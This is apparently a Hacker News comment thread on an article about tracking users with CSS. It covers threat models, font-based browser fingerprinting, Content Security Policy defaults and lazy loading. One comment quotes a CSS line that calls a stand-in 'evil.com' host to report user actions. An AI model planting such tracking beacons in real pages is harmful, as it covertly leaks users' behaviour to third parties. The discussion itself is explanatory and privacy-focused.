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Tracking Users with CSS (2018)

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63 points by zinssmeister 7 years ago · 17 comments

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saagarjha 7 years ago

This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have.

Also, as an aside:

> For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows

I’m pretty sure that Safari has stopped allowing the use of third party fonts for exactly this reason, and now reports a standard set of fonts as being available.

  • javajosh 7 years ago

    You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url("https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?

    • IggleSniggle 7 years ago

      Depends on the Content Security Policy of the site.

      • javajosh 7 years ago

        Yes, of course - but what is the default if you don't have a CSP? I guess I will have to do the experiment.

        • IggleSniggle 7 years ago

          Apologies, wasn't trying to be snarky. If you are configured to allow resources to load from anywhere, the CSS can load a resource from anywhere, not just the location it originated from. These kinds of configurations are increasingly less the default, however, so depending your specific setup, you may find that some origin policies are in place by default. This is entirely dependent on your chain, however, including browser settings.

  • wongarsu 7 years ago

    There are multiple sites that allow users to set custom CSS. Consider for example subreddit styles on reddit or the customisation of Tumblr pages.

    One big selling point for CSS was to separate layout and content exactly to allow other people to write CSS.

  • rebuilder 7 years ago

    It's the threat model that the customers they're trying to bring in would care about.

Tepix 7 years ago

I like the idea of loading all linked content at page load time.

  • DaiPlusPlus 7 years ago

    That’s bad for mobile - especially if a website has really large images for high-DPI devices. I think you can configure some mobile browsers to always download low-DPI assets to save on bandwidth.

    • Tepix 7 years ago

      You could make it optional. Right now there's almost nothing you can do when you visit a site even if you know it uses this technique.

  • AnaniasAnanas 7 years ago

    By linked I hope that you mean things like images and CSS style-sheets rather than actual <a> links. If so, I totally agree with you, this kind of lazy loading that css utilises is a true privacy nightmare.

jwilk 7 years ago

Previous discussion:

https://news.ycombinator.com/item?id=16157773

fawelo123 7 years ago

Afaik doesnt work on Firefox.

  • fawelo123 7 years ago

    And if you are using anything but Firefox you shouldn't worry about your browser history anyway. Due to fingerprintning you give all of your browsing history to Google regardless.

interfixus 7 years ago

Css is fundamentally breaching the contract by messing in any way whatsoever with content.

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